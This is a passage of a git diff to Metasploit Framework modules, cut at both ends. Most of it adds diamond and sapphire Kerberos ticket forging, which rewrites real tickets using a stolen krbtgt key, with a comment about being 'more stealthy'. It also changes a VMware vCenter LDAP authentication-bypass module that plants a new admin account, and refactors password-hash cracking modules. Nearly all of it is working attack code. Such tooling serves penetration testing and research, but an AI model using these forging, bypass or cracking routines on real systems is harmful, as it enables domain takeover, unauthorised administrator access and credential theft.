krbtgt/service nthash' ]), OptString.new('AES_KEY', [ false, 'The krbtgt/service AES key' ]), OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]), - OptString.new('DOMAIN_SID', [ true, 'The Domain SID, Ex: S-1-5-21-1755879683-3641577184-3486455962']), + OptString.new('DOMAIN_SID', [ false, 'The Domain SID, Ex: S-1-5-21-1755879683-3641577184-3486455962'], conditions: forged_manually_condition), OptString.new('EXTRA_SIDS', [ false, 'Extra sids separated by commas, Ex: S-1-5-21-1755879683-3641577184-3486455962-519']), OptString.new('SPN', [ false, 'The Service Principal Name (Only used for silver ticket)'], conditions: %w[ACTION == FORGE_SILVER]), - OptInt.new('DURATION', [ true, 'Duration of the ticket in days', 3650]), + OptInt.new('DURATION', [ false, 'Duration of the ticket in days', 3650], conditions: forged_manually_condition), + OptString.new('REQUEST_USER', [false, 'The user to request a ticket for, to base the forged ticket on'], conditions: based_on_real_ticket_condition), + OptString.new('REQUEST_PASSWORD', [false, "The user's password, used to retrieve a base ticket"], conditions: based_on_real_ticket_condition), + OptAddress.new('RHOSTS', [false, 'The address of the KDC' ], conditions: based_on_real_ticket_condition), + OptInt.new('RPORT', [false, "The KDC server's port", 88 ], conditions: based_on_real_ticket_condition), + OptInt.new('Timeout', [false, 'The TCP timeout to establish Kerberos connection and read data', 10], conditions: based_on_real_ticket_condition), ] ) register_advanced_options( [ - OptString.new('SessionKey', [ false, 'The session key, if not set - one will be generated' ]), - OptBool.new('IncludeTicketChecksum', [ false, 'Adds the Ticket Checksum to the PAC', false]) + OptString.new('SessionKey', [ false, 'The session key, if not set - one will be generated' ], conditions: forged_manually_condition), + OptBool.new('IncludeTicketChecksum', [ false, 'Adds the Ticket Checksum to the PAC', false], conditions: forged_manually_condition) ] ) - - deregister_options('RHOSTS', 'RPORT', 'Timeout') end SECS_IN_DAY = 60 * 60 * 24 @@ -71,6 +84,10 @@ class MetasploitModule < Msf::Auxiliary forge_silver when 'FORGE_GOLDEN' forge_golden + when 'FORGE_DIAMOND' + forge_diamond + when 'FORGE_SAPPHIRE' + forge_sapphire else fail_with(Msf::Module::Failure::BadConfig, "Invalid action #{action.name}") end @@ -113,7 +130,7 @@ class MetasploitModule < Msf::Auxiliary validate_sid! validate_key! sname = datastore['SPN'].split('/', 2) - flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(silver_ticket_flags) + flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgs_flags) forge_ccache(sname: sname, flags: flags, is_golden: false) end @@ -121,10 +138,121 @@ class MetasploitModule < Msf::Auxiliary validate_sid! validate_key! sname = ['krbtgt', datastore['DOMAIN'].upcase] - flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(golden_ticket_flags) + flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgt_flags) forge_ccache(sname: sname, flags: flags, is_golden: true) end + def forge_diamond + validate_remote + validate_aes256_key! + + begin + domain = datastore['DOMAIN'] + options = { + server_name: "krbtgt/#{domain}", + client_name: datastore['REQUEST_USER'], + password: datastore['REQUEST_PASSWORD'], + realm: domain + } + enc_key, enc_type = get_enc_key_and_type + include_crypto_params(options, enc_key, enc_type) + + tgt_result = send_request_tgt(**options) + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Requesting TGT failed: #{e.message}") + rescue Rex::HostUnreachable => e + fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}") + end + + if tgt_result.krb_enc_key[:enctype] != enc_type + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Response has incorrect encryption type (#{tgt_result.krb_enc_key[:enctype]})") + end + + begin + ticket = modify_ticket(tgt_result.as_rep.ticket, tgt_result.decrypted_part, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, enc_key, enc_type, enc_key, false) + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError + fail_with(Msf::Exploit::Failure::BadConfig, 'Failed to modify ticket. krbtgt key is likely incorrect') + end + Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST']) + + if datastore['VERBOSE'] + print_ccache_contents(ticket, key: enc_key) + end + end + + def forge_sapphire + validate_remote + validate_key! + options = {} + enc_key, enc_type = get_enc_key_and_type + include_crypto_params(options, enc_key, enc_type) + + begin + auth_context = kerberos_authenticator.authenticate_via_kdc(options) + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error authenticating to KDC: #{e}") + rescue Rex::HostUnreachable => e + fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}") + end + credential = auth_context[:credential] + + print_status("#{peer} - Using U2U to impersonate #{datastore['USER']}@#{datastore['DOMAIN']}") + + session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new( + type: credential.keyblock.enctype.value, + value: credential.keyblock.data.value + ) + + begin + tgs_ticket, tgs_auth = kerberos_authenticator.u2uself(credential, impersonate: datastore['USER']) + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error executing S4U2Self+U2U: #{e}") + rescue Rex::HostUnreachable => e + fail_with(Msf::Exploit::Failure::Unreachable, "Error executing S4U2Self+U2U: #{e.message}") + end + # Don't pass a user RID in: we'll retrieve it from the decrypted PAC + ticket = modify_ticket(tgs_ticket, tgs_auth, datastore['USER'], nil, datastore['DOMAIN'], extra_sids, session_key.value, enc_type, enc_key, true) + Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST']) + + if datastore['VERBOSE'] + print_ccache_contents(ticket, key: enc_key) + end + end + + def validate_remote + if datastore['RHOSTS'].blank? + fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify RHOSTS for sapphire and diamond tickets') + elsif datastore['REQUEST_USER'].blank? + fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify REQUEST_USER for sapphire and diamond tickets') + end + end + + def kerberos_authenticator + options = { + host: datastore['RHOST'], + realm: datastore['DOMAIN'], + timeout: datastore['TIMEOUT'], + username: datastore['REQUEST_USER'], + password: datastore['REQUEST_PASSWORD'], + framework: framework, + framework_module: self, + ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::None.new + } + + Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options) + end + + def include_crypto_params(options, enc_key, enc_type) + options[:key] = enc_key + if enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256 + # This should be the server's preferred encryption type, so we can just + # send our default types, expecting that to be selected. More stealthy this way. + options[:offered_etypes] = Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes + else + options[:offered_etypes] = [enc_type] + end + end + def get_enc_key_and_type enc_type = nil key = nil @@ -156,6 +284,24 @@ class MetasploitModule < Msf::Auxiliary end end + def validate_aes256_key! + unless datastore['NTHASH'].blank? + fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (NTHASH is currently set)') + end + + if datastore['AES_KEY'].blank? + fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets') + end + + if datastore['AES_KEY'].size == 32 + fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (currently set to an AES128 key)') + end + + if datastore['AES_KEY'].size != 64 + fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (incorrect length)') + end + end + def validate_key! if datastore['NTHASH'].blank? && datastore['AES_KEY'].blank? fail_with(Msf::Exploit::Failure::BadConfig, 'NTHASH or AES_KEY must be set for forging a ticket') @@ -170,6 +316,10 @@ class MetasploitModule < Msf::Auxiliary if datastore['AES_KEY'].present? && (datastore['AES_KEY'].size != 32 && datastore['AES_KEY'].size != 64) fail_with(Msf::Exploit::Failure::BadConfig, "AES key length was #{datastore['AES_KEY'].size} should be 32 or 64") end + + if datastore['NTHASH'].present? + print_warning('Warning: newer Windows systems may not accept tickets encrypted with RC4_HMAC (NT hash). Consider using AES.') + end end def extra_sids diff --git a/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb b/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb index 8c0d71b3b3..2856d35f48 100644 --- a/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb +++ b/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb @@ -55,17 +55,17 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(636), # SSL/TLS OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']), - OptString.new('USERNAME', [false, 'Username of admin user to add']), - OptString.new('PASSWORD', [false, 'Password of admin user to add']) + OptString.new('NEW_USERNAME', [false, 'Username of admin user to add']), + OptString.new('NEW_PASSWORD', [false, 'Password of admin user to add']) ]) end - def username - datastore['USERNAME'] + def new_username + datastore['NEW_USERNAME'] end - def password - datastore['PASSWORD'] + def new_password + datastore['NEW_PASSWORD'] end def base_dn @@ -73,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary end def user_dn - "cn=#{username},cn=Users,#{base_dn}" + "cn=#{new_username},cn=Users,#{base_dn}" end def group_dn @@ -81,8 +81,8 @@ class MetasploitModule < Msf::Auxiliary end def run - unless username && password - print_error('Please set the USERNAME and PASSWORD options to proceed') + unless new_username && new_password + print_error('Please set the NEW_USERNAME and NEW_PASSWORD options to proceed') return end @@ -102,10 +102,10 @@ class MetasploitModule < Msf::Auxiliary print_status("Bypassing LDAP auth in vmdir service at #{peer}") auth_bypass(ldap) - print_status("Adding admin user #{username} with password #{password}") + print_status("Adding admin user #{new_username} with password #{new_password}") unless add_admin(ldap) - print_error("Failed to add admin user #{username}") + print_error("Failed to add admin user #{new_username}") end end rescue Net::LDAP::Error => e @@ -116,7 +116,7 @@ class MetasploitModule < Msf::Auxiliary def auth_bypass(ldap) # when datastore['BIND_DN'] has been provided in options, # ldap_connect has already made a bind for us. - return if datastore['BIND_DN'] + return if datastore['USERNAME'] && ldap.bind ldap.bind( method: :simple, @@ -128,13 +128,13 @@ class MetasploitModule < Msf::Auxiliary def add_admin(ldap) user_info = { 'objectClass' => %w[top person organizationalPerson user], - 'cn' => username, + 'cn' => new_username, 'sn' => 'vsphere.local', - 'givenName' => username, - 'sAMAccountName' => username, - 'userPrincipalName' => "#{username}@VSPHERE.LOCAL", - 'uid' => username, - 'userPassword' => password + 'givenName' => new_username, + 'sAMAccountName' => new_username, + 'userPrincipalName' => "#{new_username}@VSPHERE.LOCAL", + 'uid' => new_username, + 'userPassword' => new_password } # Add our new user @@ -145,9 +145,9 @@ class MetasploitModule < Msf::Auxiliary when Net::LDAP::ResultCodeInsufficientAccessRights print_error('Failed to bypass LDAP auth in vmdir service') when Net::LDAP::ResultCodeEntryAlreadyExists - print_error("User #{username} already exists") + print_error("User #{new_username} already exists") when Net::LDAP::ResultCodeConstraintViolation - print_error("Password #{password} does not meet policy requirements") + print_error("Password #{new_password} does not meet policy requirements") else print_error("#{res.message}: #{res.error_message}") end @@ -155,14 +155,14 @@ class MetasploitModule < Msf::Auxiliary return false end - print_good("Added user #{username}, so auth bypass was successful!") + print_good("Added user #{new_username}, so auth bypass was successful!") # Add our user to the admin group unless ldap.add_attribute(group_dn, 'member', user_dn) res = ldap.get_operation_result if res.code == Net::LDAP::ResultCodeAttributeOrValueExists - print_error("User #{username} is already an admin") + print_error("User #{new_username} is already an admin") else print_error("#{res.message}: #{res.error_message}") end @@ -170,7 +170,7 @@ class MetasploitModule < Msf::Auxiliary return false end - print_good("Added user #{username} to admin group") + print_good("Added user #{new_username} to admin group") true end diff --git a/modules/auxiliary/analyze/apply_pot.rb b/modules/auxiliary/analyze/apply_pot.rb index f83413930b..fc58835638 100644 --- a/modules/auxiliary/analyze/apply_pot.rb +++ b/modules/auxiliary/analyze/apply_pot.rb @@ -69,7 +69,7 @@ class MetasploitModule < Msf::Auxiliary hashlist = Rex::Quickfile.new("hashes_tmp") framework.db.creds(workspace: myworkspace).each do |core| next if core.private.type == 'Metasploit::Credential::Password' - jtr_hash = hash_to_jtr(core) + jtr_hash = Metasploit::Framework::PasswordCracker::JtR::Formatter.hash_to_jtr(core) hashlist.puts jtr_hash lookups << HashLookup.new(core.private.data, jtr_hash, core.public, core.id) end diff --git a/modules/auxiliary/analyze/crack_aix.rb b/modules/auxiliary/analyze/crack_aix.rb index 3a3ed30004..998d3be040 100644 --- a/modules/auxiliary/analyze/crack_aix.rb +++ b/modules/auxiliary/analyze/crack_aix.rb @@ -3,47 +3,43 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::PasswordCracker include Msf::Exploit::Deprecated moved_from 'auxiliary/analyze/jtr_aix' - def initialize super( - 'Name' => 'Password Cracker: AIX', - 'Description' => %Q{ + 'Name' => 'Password Cracker: AIX', + 'Description' => %( This module uses John the Ripper or Hashcat to identify weak passwords that have been acquired from passwd files on AIX systems. These utilize DES hashing. DES is format 1500 in Hashcat. - DES is descrypt in JTR. - }, - 'Author' => - [ - 'theLightCosine', - 'hdm', - 'h00die' # hashcat integration - ] , - 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) - 'Actions' => - [ - ['john', 'Description' => 'Use John the Ripper'], - ['hashcat', 'Description' => 'Use Hashcat'], - ], + ), + 'Author' => [ + 'theLightCosine', + 'hdm', + 'h00die' # hashcat integration + ], + 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) + 'Actions' => [ + ['john', { 'Description' => 'Use John the Ripper' }], + ['hashcat', { 'Description' => 'Use Hashcat' }], + ], 'DefaultAction' => 'john', ) register_options( [ - OptBool.new('INCREMENTAL',[false, 'Run in incremental mode', true]), - OptBool.new('WORDLIST',[false, 'Run in wordlist mode', true]) + OptBool.new('INCREMENTAL', [false, 'Run in incremental mode', true]), + OptBool.new('WORDLIST', [false, 'Run in wordlist mode', true]) ] ) end def show_command(cracker_instance) return unless datastore['ShowCommand'] + if action.name == 'john' cmd = cracker_instance.john_crack_command elsif action.name == 'hashcat' @@ -52,76 +48,64 @@ class MetasploitModule < Msf::Auxiliary print_status(" Cracking Command: #{cmd.join(' ')}") end - def print_results(tbl, cracked_hashes) - cracked_hashes.each do |row| - unless tbl.rows.include? row - tbl << row - end - end - tbl.to_s - end - def run - def process_crack(results, hashes, cred, hash_type, method) - return results if cred['core_id'].nil? # make sure we have good data - # make sure we dont add the same one again - if results.select {|r| r.first == cred['core_id']}.empty? - results << [cred['core_id'], hash_type, cred['username'], cred['password'], method] - end - - create_cracked_credential( username: cred['username'], password: cred['password'], core_id: cred['core_id']) - results - end - - def check_results(passwords, results, hash_type, hashes, method) + def check_results(passwords, results, hash_type, method) passwords.each do |password_line| password_line.chomp! next if password_line.blank? - fields = password_line.split(":") + + fields = password_line.split(':') # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >= 3 + + cred = { 'hash_type' => hash_type, 'method' => method } if action.name == 'john' - next unless fields.count >=3 - cred = {} cred['username'] = fields.shift - cred['core_id'] = fields.pop + cred['core_id'] = fields.pop 4.times { fields.pop } # Get rid of extra : cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it - results = process_crack(results, hashes, cred, hash_type, method) elsif action.name == 'hashcat' - next unless fields.count >= 2 - hash = fields.shift - password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them - next if hash.include?("Hashfile '") && hash.include?("' on line ") # skip error lines - hashes.each do |h| - next unless h['hash'] == hash - cred = {'core_id' => h['id'], - 'username' => h['un'], - 'password' => password} - results = process_crack(results, hashes, cred, hash_type, method) - end + cred['core_id'] = fields.shift + cred['hash'] = fields.shift + cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it + next if cred['core_id'].include?("Hashfile '") && cred['core_id'].include?("' on line ") # skip error lines + + # we don't have the username since we overloaded it with the core_id (since its a better fit for us) + # so we can now just go grab the username from the DB + cred['username'] = framework.db.creds(workspace: myworkspace, id: cred['core_id'])[0].public.username end + results = process_cracker_results(results, cred) end results end - tbl = Rex::Text::Table.new( - 'Header' => 'Cracked Hashes', - 'Indent' => 1, - 'Columns' => ['DB ID', 'Hash Type', 'Username', 'Cracked Password', 'Method'] - ) + tbl = tbl = cracker_results_table + + hash_types_to_crack = ['descrypt'] + jobs_to_do = [] + + # build our job list + hash_types_to_crack.each do |hash_type| + job = hash_job(hash_type, action.name) + if job.nil? + print_status("No #{hash_type} found to crack") + else + jobs_to_do << job + end + end + + # bail early of no jobs to do + if jobs_to_do.empty? + print_good("No uncracked password hashes found for: #{hash_types_to_crack.join(', ')}") + return + end - # array of hashes in jtr_format in the db, converted to an OR combined regex - hashes_regex = ['descrypt'] # array of arrays for cracked passwords. # Inner array format: db_id, hash_type, username, password, method_of_crack results = [] cracker = new_password_cracker(action.name) - # create the hash file first, so if there aren't any hashes we can quit early - # hashes is a reference list used by hashcat only - cracker.hash_path, hashes = hash_file(hashes_regex) - # generate our wordlist and close the file handle. max length of DES is 8 wordlist = wordlist_file(8) unless wordlist @@ -132,9 +116,16 @@ class MetasploitModule < Msf::Auxiliary wordlist.close print_status "Wordlist file written out to #{wordlist.path}" - cleanup_files = [cracker.hash_path, wordlist.path] + cleanup_files = [wordlist.path] + + jobs_to_do.each do |job| + format = job['type'] + hash_file = Rex::Quickfile.new("hashes_#{job['type']}_") + hash_file.puts job['formatted_hashlist'] + hash_file.close + cracker.hash_path = hash_file.path + cleanup_files << hash_file.path - hashes_regex.each do |format| # dupe our original cracker so we can safely change options between each run cracker_instance = cracker.dup cracker_instance.format = format @@ -145,27 +136,33 @@ class MetasploitModule < Msf::Auxiliary # first check if anything has already been cracked so we don't report it incorrectly print_status "Checking #{format} hashes already cracked..." - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Already Cracked/POT') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Already Cracked/POT') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? if action.name == 'john' print_status "Cracking #{format} hashes in single mode..." cracker_instance.mode_single(wordlist.path) show_command cracker_instance cracker_instance.crack do |line| - vprint_status line.chomp + vprint_status(" #{line.chomp}") end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Single') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Single') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? - print_status "Cracking #{format} hashes in normal mode" + print_status "Cracking #{format} hashes in normal mode..." cracker_instance.mode_normal show_command cracker_instance cracker_instance.crack do |line| - vprint_status line.chomp + vprint_status(" #{line.chomp}") end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Normal') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Normal') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end if datastore['INCREMENTAL'] @@ -173,66 +170,41 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.mode_incremental show_command cracker_instance cracker_instance.crack do |line| - vprint_status line.chomp + vprint_status(" #{line.chomp}") end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Incremental') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Incremental') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end - if datastore['WORDLIST'] - print_status "Cracking #{format} hashes in wordlist mode..." - cracker_instance.mode_wordlist(wordlist.path) - # Turn on KoreLogic rules if the user asked for it - if action.name == 'john' && datastore['KORELOGIC'] - cracker_instance.rules = 'KoreLogicRules' - print_status "Applying KoreLogic ruleset..." - end - show_command cracker_instance - cracker_instance.crack do |line| - vprint_status line.chomp - end + next unless datastore['WORDLIST'] - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Wordlist') - vprint_good(print_results(tbl, results)) + print_status "Cracking #{format} hashes in wordlist mode..." + cracker_instance.mode_wordlist(wordlist.path) + # Turn on KoreLogic rules if the user asked for it + if action.name == 'john' && datastore['KORELOGIC'] + cracker_instance.rules = 'KoreLogicRules' + print_status 'Applying KoreLogic ruleset...' + end + show_command cracker_instance + cracker_instance.crack do |line| + vprint_status(" #{line.chomp}") end - #give a final print of results - print_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Wordlist') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end + # give a final print of results + print_good(append_results(tbl, results)) + if datastore['DeleteTempFiles'] cleanup_files.each do |f| File.delete(f) end end end - - def hash_file(hashes_regex) - hashes = [] - wrote_hash = false - hashlist = Rex::Quickfile.new("hashes_tmp") - # descrypt is what JtR calls it, des is what we save it in the db as - hashes_regex = hashes_regex.join('|').gsub('descrypt', 'des') - regex = Regexp.new hashes_regex - framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core| - next unless core.private.jtr_format =~ regex - # only add hashes which havne't been cracked - next unless already_cracked_pass(core.private.data).nil? - if action.name == 'john' - hashlist.puts hash_to_jtr(core) - elsif action.name == 'hashcat' - # hashcat hash files dont include the ID to reference back to so we build an array to reference - hashes << {'hash' => core.private.data, 'un' => core.public.username, 'id' => core.id} - hashlist.puts hash_to_hashcat(core) - end - wrote_hash = true - end - hashlist.close - unless wrote_hash # check if we wrote anything and bail early if we didn't - hashlist.delete - fail_with Failure::NotFound, 'No applicable hashes in database to crack' - end - print_status "Hashes Written out to #{hashlist.path}" - return hashlist.path, hashes - end end diff --git a/modules/auxiliary/analyze/crack_databases.rb b/modules/auxiliary/analyze/crack_databases.rb index 8032d3494b..281d41e35a 100644 --- a/modules/auxiliary/analyze/crack_databases.rb +++ b/modules/auxiliary/analyze/crack_databases.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::PasswordCracker include Msf::Exploit::Deprecated @@ -14,44 +13,46 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Password Cracker: Databases', - 'Description' => %Q{ + 'Name' => 'Password Cracker: Databases', + 'Description' => %( This module uses John the Ripper or Hashcat to identify weak passwords that have been acquired from the mssql_hashdump, mysql_hashdump, postgres_hashdump, or oracle_hashdump modules. Passwords that have been successfully cracked are then saved as proper credentials. Due to the complexity of some of the hash types, they can be very slow. Setting the ITERATION_TIMEOUT is highly recommended. - }, - 'Author' => - [ - 'theLightCosine', - 'hdm', - 'h00die' # hashcat integration - ] , - 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) - 'Actions' => - [ - ['john', 'Description' => 'Use John the Ripper'], - ['hashcat', 'Description' => 'Use Hashcat'], - ], + MSSQL is 131, 132, and 1731 in hashcat. + MYSQL is 200, and 300 in hashcat. + ORACLE is 112, and 12300 in hashcat. + POSTGRES is 12 in hashcat. + ), + 'Author' => [ + 'theLightCosine', + 'hdm', + 'h00die' # hashcat integration + ], + 'License' => MSF_LICENSE, # JtR itself is GPLv2, but this wrapper is MSF (BSD) + 'Actions' => [ + ['john', { 'Description' => 'Use John the Ripper' }], + ['hashcat', { 'Description' => 'Use Hashcat' }], + ], 'DefaultAction' => 'john', ) register_options( [ - OptBool.new('MSSQL',[false, 'Include MSSQL hashes', true]), - OptBool.new('MYSQL',[false, 'Include MySQL hashes', true]), - OptBool.new('ORACLE',[false, 'Include Oracle hashes', true]), - OptBool.new('POSTGRES',[false, 'Include Postgres hashes', true]), - OptBool.new('INCREMENTAL',[false, 'Run in incremental mode', true]), - OptBool.new('WORDLIST',[false, 'Run in wordlist mode', true]) + OptBool.new('MSSQL', [false, 'Include MSSQL hashes', true]), + OptBool.new('MYSQL', [false, 'Include MySQL hashes', true]), + OptBool.new('ORACLE', [false, 'Include Oracle hashes', true]), + OptBool.new('POSTGRES', [false, 'Include Postgres hashes', true]), + OptBool.new('INCREMENTAL', [false, 'Run in incremental mode', true]), + OptBool.new('WORDLIST', [false, 'Run in wordlist mode', true]) ] ) - end def show_command(cracker_instance) return unless datastore['ShowCommand'] + if action.name == 'john' cmd = cracker_instance.john_crack_command elsif action.name == 'hashcat' @@ -60,129 +61,65 @@ class MetasploitModule < Msf::Auxiliary print_status(" Cracking Command: #{cmd.join(' ')}") end - def print_results(tbl, cracked_hashes) - cracked_hashes.each do |row| - unless tbl.rows.include? row - tbl << row - end - end - tbl.to_s - end - def run - def process_crack(results, hashes, cred, hash_type, method) - return results if cred['core_id'].nil? # make sure we have good data - # make sure we dont add the same one again - if results.select {|r| r.first == cred['core_id']}.empty? - results << [cred['core_id'], hash_type, cred['username'], cred['password'], method] - end - - create_cracked_credential( username: cred['username'], password: cred['password'], core_id: cred['core_id']) - results - end - - def check_results(passwords, results, hash_type, hashes, method, cracker) + def check_results(passwords, results, hash_type, method) passwords.each do |password_line| password_line.chomp! next if password_line.blank? - fields = password_line.split(":") - # If we don't have an expected minimum number of fields, this is probably not a hash line + + fields = password_line.split(':') + cred = { 'hash_type' => hash_type, 'method' => method } + if action.name == 'john' - cred = {} - # we branch here since postgres (dynamic_1034) doesn't include the core_id - if ['dynamic_1034'].include? hash_type - next unless fields.count >=2 - cred['username'] = fields.shift - cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it - cred['core_id'] = nil - # we now need to read the pot file to pull the original hash to match it back up successfully - pot = File.open(cracker.john_pot_file, 'rb') - pots = pot.read - pot.close - # here we combine un:hash and hash:password to make un:hash:password - combined = [] - pots.each_line do |p| - next unless p.starts_with?('$dynamic_1034$') - hashes.each do |h| - next unless p.starts_with? "#{h['hash'].split(':')[1]}$HEX$" - cred['core_id'] = h['id'] - break - end - end - else - #mysql*, mssql*, oracle* - next unless fields.count >=3 - cred['username'] = fields.shift - cred['core_id'] = fields.pop - cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it - end - results = process_crack(results, hashes, cred, hash_type, method) + next unless fields.count >= 3 + + cred['username'] = fields.shift + cred['core_id'] = fields.pop + cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it elsif action.name == 'hashcat' next unless fields.count >= 2 + case hash_type when 'dynamic_1034' - # for postgres we get 3 fields, hash:un:pass. - hash = fields.shift - username = fields.shift - password = fields.join(':') + # for postgres we get 4 fields, id:hash:un:pass. + cred['core_id'] = fields.shift + cred['hash'] = fields.shift + cred['username'] = fields.shift + cred['password'] = fields.join(':') when 'oracle11', 'raw-sha1,oracle' - hash = "#{fields.shift}#{fields.shift}" # we pull the first two fields, hash, and salt - password = fields.join(':') + cred['core_id'] = fields.shift + cred['hash'] = "#{fields.shift}#{fields.shift}" # we pull the first two fields, hash and salt + cred['password'] = fields.join(':') else - hash = fields.shift - password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + cred['core_id'] = fields.shift + cred['hash'] = fields.shift + cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it end - next if hash.include?("Hashfile '") && hash.include?("' on line ") # skip error lines + next if cred['core_id'].include?("Hashfile '") && cred['core_id'].include?("' on line ") # skip error lines - hashes.each do |h| - case hash_type - when 'mssql05','mssql12', 'mysql' - # mssql\d\d comes back as 0x then the rest uppercase, so we need to upcase everything to match correctly - next unless h['hash'].upcase == hash.upcase - when 'mssql' - # for whatever reason hashcat zeroes out part of the hash in --show. - # show: 0x0100a607ba7c0000000000000000000000000000000000000000b6d6261460d3f53b279cc6913ce747006a2e3254:FOO - # orig: 0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 - hash_zero_format = "#{h['hash'][0..13]}#{'0'*40}#{h['hash'][54..hash.length]}".upcase - next unless hash_zero_format == hash.upcase - when 'mysql-sha1' - # add the * back to the beginning to match up and fix casing - next unless h['hash'] == "*#{hash}".upcase - when 'oracle11', 'raw-sha1,oracle' - next unless h['hash'].starts_with? "S:#{hash};".upcase - when 'oracle12c' - next unless h['hash'].include? ";T:#{hash}" - else - next unless h['hash'] == hash - end - cred = {'core_id' => h['id'], - 'username' => h['un'], - 'password' => password} - results = process_crack(results, hashes, cred, hash_type, method) - end + # we don't have the username since we overloaded it with the core_id (since its a better fit for us) + # so we can now just go grab the username from the DB + cred['username'] = framework.db.creds(workspace: myworkspace, id: cred['core_id'])[0].public.username end + results = process_cracker_results(results, cred) end results end - tbl = Rex::Text::Table.new( - 'Header' => 'Cracked Hashes', - 'Indent' => 1, - 'Columns' => ['DB ID', 'Hash Type', 'Username', 'Cracked Password', 'Method'] - ) + tbl = tbl = cracker_results_table # array of hashes in jtr_format in the db, converted to an OR combined regex - hashes_regex = [] + hash_types_to_crack = [] if datastore['MSSQL'] - 